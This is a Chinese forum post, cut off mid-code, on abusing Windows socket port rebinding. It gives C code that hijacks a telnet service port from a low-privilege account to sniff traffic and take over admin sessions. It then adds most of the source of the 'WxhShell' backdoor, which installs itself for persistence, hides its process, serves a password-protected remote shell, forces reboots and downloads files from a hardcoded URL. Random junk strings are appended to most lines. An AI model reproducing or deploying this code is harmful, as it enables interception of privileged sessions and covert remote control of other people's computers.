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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :7Rs$ -*Uk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {b^naE  
BzF.KCScs  
  saddr.sin_family = AF_INET; CSc*UX+  
b@^M|h.Va  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t2p/NIn  
yt>Pf <AI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `NXyzT`:K  
WRh&4[G'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ) EEr?"  
\bQ|O7s  
  这意味着什么?意味着可以进行如下的攻击: nX5*pTfjL3  
@ 5 kKMz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |C'w] QYm  
^K@r!)We  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Qat%<;P2  
`m3@mJ!>\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h|=^@F_\`  
(m)%5*:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Sx;zvc  
R|V<2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a[";K,  
{tOuKnnS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  ~Zl`Ap  
:1_hQeq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gK(E0p"  
;T#t)oV  
  #include 6 $ IXER  
  #include (&x~pv"+  
  #include Da-F(^E  
  #include    #Yw^n?~~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n/$BdFH  
  int main() ivoPl~)J  
  { 1"/V?ArfL  
  WORD wVersionRequested; |\QR9>  
  DWORD ret; {!N4|  
  WSADATA wsaData; W3<O+S&  
  BOOL val; =v:_N.Fh-c  
  SOCKADDR_IN saddr; '0t j2  
  SOCKADDR_IN scaddr; 'Dat.@j  
  int err; ~%#?;hJ  
  SOCKET s; Lj~lfO  
  SOCKET sc; 30DpIkf  
  int caddsize; IE_@:]K}Ja  
  HANDLE mt; `b\4h/~  
  DWORD tid;   EAY9~b6~c  
  wVersionRequested = MAKEWORD( 2, 2 ); GC4$9q}C4Z  
  err = WSAStartup( wVersionRequested, &wsaData ); %i.|bIhmm  
  if ( err != 0 ) { bzJKoxU  
  printf("error!WSAStartup failed!\n"); 8OBvC\%  
  return -1; <U~P-c tN  
  } G!rcY5!J  
  saddr.sin_family = AF_INET; G x,D'H'  
   `/HygC6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +uT=Wb \  
8ZIv:nO$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Rw/G =zV@2  
  saddr.sin_port = htons(23);  vo::y"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qS2%U?S7  
  { I?fE=2}9  
  printf("error!socket failed!\n"); kBONP^xI  
  return -1; }s)Z:6;(,q  
  } KDXo9FzF  
  val = TRUE; D>|:f-Z6Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s]I],>}RU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >)N#n`  
  { <!+o8z]  
  printf("error!setsockopt failed!\n"); ;8T<L[ ^U  
  return -1; [ =9R5.)c  
  } yq<YGNy!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^#=L?e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :?p{ga9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nuCK7X  
~Fx[YPO,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b~Ruhi[E  
  { lyi}q"Kn*;  
  ret=GetLastError(); h)<R#xw  
  printf("error!bind failed!\n"); [-CG&l2?L  
  return -1; 1z`,*eD7  
  } +p[~hM6?  
  listen(s,2); >u4e:/5]  
  while(1) wH`@r?&  
  { H,I}R  
  caddsize = sizeof(scaddr); B@=Yj_s  
  //接受连接请求 (]V.#JM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;?[~]"  
  if(sc!=INVALID_SOCKET) Wp]EaYt2D  
  { )s8r(.W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w %zw+E  
  if(mt==NULL) i f"v4PHq  
  { I,S'zHR  
  printf("Thread Creat Failed!\n"); 3K{8sFDO  
  break; ku{aOV%  
  } t,+S~Cj|  
  } H|Nw)*.  
  CloseHandle(mt); jgstx3  
  } YNXk32@j@e  
  closesocket(s); |. 6@-h~8  
  WSACleanup(); S?{5DxilO  
  return 0; WAa?$"U2  
  }   yRznP)  
  DWORD WINAPI ClientThread(LPVOID lpParam) gfYB|VyWo  
  { W<4\4  
  SOCKET ss = (SOCKET)lpParam; l+6\U6_)B  
  SOCKET sc; /OP*ARoC21  
  unsigned char buf[4096]; HZm i ?  
  SOCKADDR_IN saddr; uaKB   
  long num; #SYWAcTkO}  
  DWORD val; caP  
  DWORD ret; /kz&9FM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Wy4^mOv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V\"5<>+O  
  saddr.sin_family = AF_INET; LC{hoq\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <C77_t  
  saddr.sin_port = htons(23); W,~1KUTc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J$Epj  
  { %Let AR  
  printf("error!socket failed!\n"); ^{s0d+@{  
  return -1;  62jA  
  } ='0!B]<G  
  val = 100; <<6w9wNon  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Elp!,(+&6  
  { b..$5  
  ret = GetLastError(); ^W D$ gd  
  return -1; IFxI>6<&  
  } CK(ev*@\D,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %B*dj9n^q  
  { kDq%Y[6Z  
  ret = GetLastError(); W~3tQ!  
  return -1; l;A_Aii(  
  } ^kvH/Y&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =on!&M  
  { qD*\}b]9I  
  printf("error!socket connect failed!\n"); >8fH5  
  closesocket(sc); fR4l4 GU?)  
  closesocket(ss); o2d~  
  return -1; ~C'nBV  
  } C-u/{CP  
  while(1) i@5%d!J  
  { b U]N^og^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g@i>R>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HFuaoS+b*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _M[[vXH  
  num = recv(ss,buf,4096,0); 4oV_b"xz~  
  if(num>0) JjLyV`DJ  
  send(sc,buf,num,0); wp.e3l  
  else if(num==0) j9ta0~x1*6  
  break; o?K|[gNi  
  num = recv(sc,buf,4096,0); yVHlT  
  if(num>0) F.pHL)37  
  send(ss,buf,num,0); k(z<Bm  
  else if(num==0) $H-D9+8 7  
  break; mqk(UOK`  
  } <nTmZ-;  
  closesocket(ss); b+].Uc  
  closesocket(sc); $;uWj|  
  return 0 ; *rcuhw"^b#  
  } w2N3+Tkg  
VnSj:LUD  
DJYXC,r  
========================================================== 0tCOb9  
 zc/%1  
下边附上一个代码,,WXhSHELL M1 ]6lg[si  
x*&&?nV Iz  
========================================================== XDdcq]*|  
`x$}~rP&)!  
#include "stdafx.h" R #3Q$   
B_"OA3d_  
#include <stdio.h> Uk *;C  
#include <string.h> X!rQ@F3  
#include <windows.h> ?FV7|)f  
#include <winsock2.h> 40Qzo%eL  
#include <winsvc.h> q"+ q  
#include <urlmon.h> / }XsuH  
?Tc)f_a  
#pragma comment (lib, "Ws2_32.lib") w <#*O:  
#pragma comment (lib, "urlmon.lib")  9VUm=Z#`  
5&HT$"H :  
#define MAX_USER   100 // 最大客户端连接数 a\&(Ua  
#define BUF_SOCK   200 // sock buffer =EcIXDzC>  
#define KEY_BUFF   255 // 输入 buffer sh !~T<yy  
n-y^ 7'v  
#define REBOOT     0   // 重启 hr<7l C  
#define SHUTDOWN   1   // 关机 ci ,o8 [Y  
HTUYvU*-  
#define DEF_PORT   5000 // 监听端口 +f\pk \Ith  
v$)@AE  
#define REG_LEN     16   // 注册表键长度 !#c[~erNZ  
#define SVC_LEN     80   // NT服务名长度 6)#- 5m  
oDW<e'Jm  
// 从dll定义API mo|PrLV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wWJQ ~i?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K=m9H=IX~T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uP%axys  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vn0cKz@  
|D;"D  
// wxhshell配置信息 9{O2B5u1  
struct WSCFG { c#{Ywh  
  int ws_port;         // 监听端口 l&6U|q`  
  char ws_passstr[REG_LEN]; // 口令 1H&?UP4=(  
  int ws_autoins;       // 安装标记, 1=yes 0=no }\`(m\2xo  
  char ws_regname[REG_LEN]; // 注册表键名 YQ8j  
  char ws_svcname[REG_LEN]; // 服务名 [GR]!\!%~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gut J_2f^9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Yg=E@F   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x{NNx:T1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;Cr_NP[8|j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )Lc<;=w'9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r@*=|0(OrK  
^8?j~&u$F  
}; a%7"_{s1  
e9~cBG|  
// default Wxhshell configuration '2|1%NSW9  
struct WSCFG wscfg={DEF_PORT, ! Q|J']|  
    "xuhuanlingzhe", n!0${QVnS  
    1, Qq'i*Mh  
    "Wxhshell", 6}VUD -}B  
    "Wxhshell", G 2%  
            "WxhShell Service", M&uzOK+  
    "Wrsky Windows CmdShell Service", c;c:Ea5  
    "Please Input Your Password: ", O" % Hprx  
  1, N<KKY"?I'  
  "http://www.wrsky.com/wxhshell.exe", -W|*fKN`3  
  "Wxhshell.exe" gB(9vhj $  
    }; K#GXpj  
^G}# jg.  
// 消息定义模块 lZ}izl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tO?21?AD D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -'80>[}q/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N=>- Q)  
char *msg_ws_ext="\n\rExit."; 7d3 'CQQ4  
char *msg_ws_end="\n\rQuit."; 84iJ[Fq{  
char *msg_ws_boot="\n\rReboot..."; X3P&"}a  
char *msg_ws_poff="\n\rShutdown..."; pG0!ALT  
char *msg_ws_down="\n\rSave to "; .D+RLO z  
C= >B_EO  
char *msg_ws_err="\n\rErr!"; fH-NU-"  
char *msg_ws_ok="\n\rOK!"; 'eqiYY|  
M6# \na  
char ExeFile[MAX_PATH]; N1PECLS?  
int nUser = 0; S*4f%!  
HANDLE handles[MAX_USER]; 3"5.eZSOW  
int OsIsNt; Uf# PoQ!y  
.FuA;:@%\  
SERVICE_STATUS       serviceStatus; ,,S9$@R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %>i@F=O2<  
DYX-5~;!  
// 函数声明 [1NaH  
int Install(void); y $:yz;  
int Uninstall(void); ~NxEc8Y  
int DownloadFile(char *sURL, SOCKET wsh); ,NDh@VYe  
int Boot(int flag); a~WqUL  
void HideProc(void); 4&|C}  
int GetOsVer(void); +Z ><  
int Wxhshell(SOCKET wsl); 9x(}F<L  
void TalkWithClient(void *cs); 4KE)g  
int CmdShell(SOCKET sock); H- 185]7  
int StartFromService(void); *MI)]S  
int StartWxhshell(LPSTR lpCmdLine); oB4#J*   
M2dmG<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 58J_ w X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3g;T?E  
ovz#  
// 数据结构和表定义 NS Np  
SERVICE_TABLE_ENTRY DispatchTable[] = }hCaNQ&jH  
{ f4 Q( 1(C  
{wscfg.ws_svcname, NTServiceMain}, or7pJy%4"  
{NULL, NULL} P])L8zK  
}; H-Pq!9[DB  
i *B:El1  
// 自我安装 :Dayv6g  
int Install(void) Y[ ?`\c|  
{ _-/x;C  
  char svExeFile[MAX_PATH]; & N;pH  
  HKEY key; 847 R   
  strcpy(svExeFile,ExeFile); K@6`-|I  
8[M* x3  
// 如果是win9x系统,修改注册表设为自启动 awFhz 6   
if(!OsIsNt) { ?gN9kd)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;b1wk^,Hw~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VJg,~lQN#t  
  RegCloseKey(key); 0V3gKd7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s@s/ '^`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H*rx{F?  
  RegCloseKey(key); {y b D  
  return 0; wLUF v(&C  
    } 5z~\5x  
  } H} 6CKP}  
}  uB;_vC  
else { q & b5g !  
i b]vX-  
// 如果是NT以上系统,安装为系统服务 rrcwtLNbu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +zsZNJ(U  
if (schSCManager!=0) } L <,eV  
{ 8R}K?+]  
  SC_HANDLE schService = CreateService *NlpotW,f  
  ( -\Z `z}D  
  schSCManager, k2p'G')H  
  wscfg.ws_svcname, {a@>6)  
  wscfg.ws_svcdisp, ?/'}JS(Sm  
  SERVICE_ALL_ACCESS, 9afh[3qm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _!!}'fMC  
  SERVICE_AUTO_START, Hbk&6kS  
  SERVICE_ERROR_NORMAL, [(|v`qMv/g  
  svExeFile, mM5|K@0|  
  NULL, Pz@/|&]  
  NULL, ZPyM>XK$4  
  NULL, 7Ms90oE/c  
  NULL, ^PqMi:htc  
  NULL ~+HoSXu@E  
  ); FZXyfZw!|  
  if (schService!=0) w^{! U  
  { e g3L:rk_  
  CloseServiceHandle(schService); S;=_;&68?  
  CloseServiceHandle(schSCManager); :#$F)]y'\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -e ml  
  strcat(svExeFile,wscfg.ws_svcname); V"#Jk!k9k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =nU/ [T.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QU/3X 1W  
  RegCloseKey(key); O?ktWHUx  
  return 0; i2PZ'.sL  
    } m<:IFx#  
  } |pW\Ec#(  
  CloseServiceHandle(schSCManager); 6Cc7ejt|u  
} 8!zb F<W9  
} hNbIpi=  
L.B~ax.|Z  
return 1; i:Y\`J  
} maC>LBa2/  
\c7>:DH  
// 自我卸载 (}gcY  
int Uninstall(void) Mw^ *yW  
{ Qhy#r  
  HKEY key; {/}^D-  
8h.V4/?  
if(!OsIsNt) { s[AA7>]3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r]LCvsVa  
  RegDeleteValue(key,wscfg.ws_regname); JsQ6l%9  
  RegCloseKey(key); Y~qb;N\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CWlW/>yF B  
  RegDeleteValue(key,wscfg.ws_regname); >I<PO.c!  
  RegCloseKey(key); S " pI  
  return 0; it1/3y =]  
  } qLjT.7 .x  
} !>g:Si"  
} *YvRNHP  
else { 'fY9a(Xt.  
lS9n@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); js <Ww$zFW  
if (schSCManager!=0) <DZcra  
{ 4| Ui?.4=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7SS07$B  
  if (schService!=0) ? +`x e{k  
  { IOEM[zhb$  
  if(DeleteService(schService)!=0) { ebM{OI  
  CloseServiceHandle(schService); kso*}uh0  
  CloseServiceHandle(schSCManager); JP'= UZ'  
  return 0; D:E9!l'  
  } {THqz$KN  
  CloseServiceHandle(schService); NP_?f%(  
  } rK|*hcy  
  CloseServiceHandle(schSCManager); 6 hiC?2b{x  
} kGHC]Fb)  
} v?j!&d>  
yV]xRaRr2  
return 1; P))^vUt~  
} V#^yX%  
+)/ Uu3"=  
// 从指定url下载文件 ]~jN^"o_B  
int DownloadFile(char *sURL, SOCKET wsh) oH-8r:{  
{ fL6e?\Pw  
  HRESULT hr; +AI`R`Tm  
char seps[]= "/"; IZNOWX|Z;  
char *token; j _ ;fWBD:  
char *file; I>n g`  
char myURL[MAX_PATH]; '%7 Bxof  
char myFILE[MAX_PATH]; &jf7k <^  
)[&zCq Dc  
strcpy(myURL,sURL); $p$dKH  
  token=strtok(myURL,seps); JN[0L:  
  while(token!=NULL) srmKaa|  
  { [1( FgyE  
    file=token; oXgdLtsu  
  token=strtok(NULL,seps); EzT`,#b  
  } EHI'xt  
qd6fU^)i  
GetCurrentDirectory(MAX_PATH,myFILE); 9&  
strcat(myFILE, "\\"); \}dyS8  
strcat(myFILE, file); *'8LntZf  
  send(wsh,myFILE,strlen(myFILE),0); )K0i@hM(n  
send(wsh,"...",3,0); f[jN wb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GP,<`l&  
  if(hr==S_OK) x;#zs64f  
return 0; G0d&@okbFC  
else 5:_hP{ @  
return 1; jRQ+2@n{E  
K* vU5S  
} a.kbov(  
$G !R,eQ  
// 系统电源模块 ]?<n#=eW  
int Boot(int flag) pJ^NA2  
{ x` /)g(  
  HANDLE hToken; gv.6h{Ut  
  TOKEN_PRIVILEGES tkp; zx%X~U   
Qc"'8kt  
  if(OsIsNt) { uA~slS Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (03pJV&K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Mr3-q  
    tkp.PrivilegeCount = 1; 2F+gF~znQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s"~5']8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QMp r v*i  
if(flag==REBOOT) { {"}V&X160o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w"zE_9I\  
  return 0; _D;@v?n6!O  
} U@-2Q=  
else { -_0?_Cb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "@ E3MTW  
  return 0; +c$I&JO  
} R: Z_g !h  
  } R[Fn0fnLx  
  else { SoQR#(73HK  
if(flag==REBOOT) { gS9>N/b|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cy3Td28,  
  return 0; $:bih4 @>  
} _elX<o4  
else { `!4,jd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vF={9G  
  return 0; {ERMGd6Jp  
} $P {K2"Oc  
} lP _db&  
~(X(&  
return 1; %w}gzxN^  
} 4g` jd  
)e%}b -I'r  
// win9x进程隐藏模块 LJTo\^*  
void HideProc(void) ?vtX"Fdz  
{ N$I03m  
;sOsT?)7$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @!%n$>p/V  
  if ( hKernel != NULL ) .zj0Jy8N  
  { ql{_%x?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `dkV_ O0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4Y ROB912  
    FreeLibrary(hKernel); %V_-%/3Z  
  } 2W<n5o   
&X>7n~@0  
return; 6[P-Ny{z  
} 4 gBp8*2  
\Sy7 "a  
// 获取操作系统版本 -*ELLY[  
int GetOsVer(void) "MOpsb,  
{ 7}o/:  
  OSVERSIONINFO winfo; Zj9c9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J./d!an  
  GetVersionEx(&winfo); !u|Tu4G^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nh!_l  
  return 1; :7.Me ;RA  
  else ^>c8t_RG  
  return 0; S33j?+ Vs  
} 0~WF{_0|  
0BU=)Swku  
// 客户端句柄模块 H=c`&N7E  
int Wxhshell(SOCKET wsl) L EWhb!U  
{ j]4,<ppWSH  
  SOCKET wsh; n> w`26MMp  
  struct sockaddr_in client; udk.zk  
  DWORD myID; ,XKCz ]8V  
@r7:NU}  
  while(nUser<MAX_USER) |F$BvCg  
{ "jg@w%~  
  int nSize=sizeof(client); 'xK.U I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pHE}ytcT  
  if(wsh==INVALID_SOCKET) return 1; 7{kP}?  
hlJpElYf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %Q"(/jm?  
if(handles[nUser]==0) W#F Q,+0)  
  closesocket(wsh); k-LEI}h  
else D)$8 W[  
  nUser++; 0DPxW8Y-`  
  } jQs>`P-CM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a>mMvc"  
>7Jr^o#|_x  
  return 0; a|j%n  
} P 1>AOH2yG  
*#U+qgA;`  
// 关闭 socket |pZUlQbb  
void CloseIt(SOCKET wsh) u eb-2[=  
{ 0Rn+`UnwB  
closesocket(wsh); |Bo .4lX  
nUser--; L,[;k  
ExitThread(0); 9]'&RyH=#  
} -~f511<  
.3qu9eP   
// 客户端请求句柄 BHFY%6J!  
void TalkWithClient(void *cs) !p"aAZT7sq  
{ xG2+(f#C1  
+/{L#e>   
  SOCKET wsh=(SOCKET)cs; wEW4gz{s  
  char pwd[SVC_LEN]; qPGuo5^  
  char cmd[KEY_BUFF]; @p=AWi}\  
char chr[1]; _banp0ywS  
int i,j; Ddju~510  
>ezi3Zx^  
  while (nUser < MAX_USER) { Rf-[svA  
G bP!9I  
if(wscfg.ws_passstr) { [/ M^[p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xw^.bz|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (@0O   
  //ZeroMemory(pwd,KEY_BUFF); 0IkM  
      i=0; p,g1eb|E  
  while(i<SVC_LEN) { 6vKS".4C  
B@YyQ'  
  // 设置超时 _6@hTen`  
  fd_set FdRead; Q _iO(qu 6  
  struct timeval TimeOut; 5~sx:0;  
  FD_ZERO(&FdRead);  kzmQm  
  FD_SET(wsh,&FdRead); IeX^4 rc(  
  TimeOut.tv_sec=8; bizTd  
  TimeOut.tv_usec=0; T'-FV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mog[pu:!,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SzD KByi  
t`'iU$:1f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <bck~E  
  pwd=chr[0]; Ty(@+M~-  
  if(chr[0]==0xd || chr[0]==0xa) { Z(>'0]G  
  pwd=0; RkeltE~u  
  break; lfsqC};#\  
  } F1%vtk;2?  
  i++; M6r^L6$N  
    } -D^A:}$  
j9+I0>#X  
  // 如果是非法用户,关闭 socket Lw7=+h)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )}%O>%  
} x"P);su  
DHC+C4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RF!a//  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ma$Prd  
@Y,7'0U  
while(1) { OYC_;CP  
iTh:N2/-vc  
  ZeroMemory(cmd,KEY_BUFF); e(F42;$$  
q-ES6R  
      // 自动支持客户端 telnet标准   sAJ7R(p  
  j=0; . v@>JZC  
  while(j<KEY_BUFF) { F(#rQ_z]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h0Z{,s}  
  cmd[j]=chr[0]; @.$Xv>Jt$  
  if(chr[0]==0xa || chr[0]==0xd) { L(>=BK*  
  cmd[j]=0; <mMTD8Sx]  
  break; NCqo@vE  
  } ^taBG3P  
  j++; Z4$cyL'$P  
    } D0(xNhmKz  
EVX{ 7%  
  // 下载文件 9mc!bj^811  
  if(strstr(cmd,"http://")) { 7?gFy-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y %$O-q  
  if(DownloadFile(cmd,wsh)) ik|-L8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C9DJO:f.2y  
  else b*fgv9Kh'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); depYqYK7G  
  } ?;YC'bF  
  else { 8l?piig#  
&0TVi  
    switch(cmd[0]) { m\>a,oZH  
  GSoZx0  
  // 帮助 ]{ BE r*  
  case '?': { wfL-oi'5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M}_ i52  
    break; XS0xLt=  
  } iz(u=/*\  
  // 安装 ki0V8]HP  
  case 'i': { E+"dqSI/v  
    if(Install()) ~m1P_`T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); be5,U\&z  
    else =z?%;4'|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1CPjil*eb  
    break; p2J|Hl|  
    } "x941 }  
  // 卸载 `6y{.$ z  
  case 'r': { V>64/  
    if(Uninstall()) o]{uc,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q1y/x@  
    else Sp}D ;7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  %d Ernc$  
    break; k+V6,V)my  
    } &bgvy'p  
  // 显示 wxhshell 所在路径 j` E +qk  
  case 'p': { Hv]7e|  
    char svExeFile[MAX_PATH]; b,P]9$Ut  
    strcpy(svExeFile,"\n\r"); '^%~JyU  
      strcat(svExeFile,ExeFile); %8aC1x  
        send(wsh,svExeFile,strlen(svExeFile),0); s{ V*1$e~  
    break; VN4yn| f/  
    } N3t0-6$_  
  // 重启 krq/7|  
  case 'b': { E^_w I>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RWgDD;&_[a  
    if(Boot(REBOOT)) 3:"]Rn([P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V&soN:HS  
    else { @4%L36k  
    closesocket(wsh); ,=(Z00#(  
    ExitThread(0); " +KJop  
    } |o'Q62`%}  
    break; L_Q#(in  
    } >Sa*`q3J  
  // 关机 ERUt'1F?]  
  case 'd': { JB</euyV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cN! uV-e  
    if(Boot(SHUTDOWN)) M)?dEgU}M  
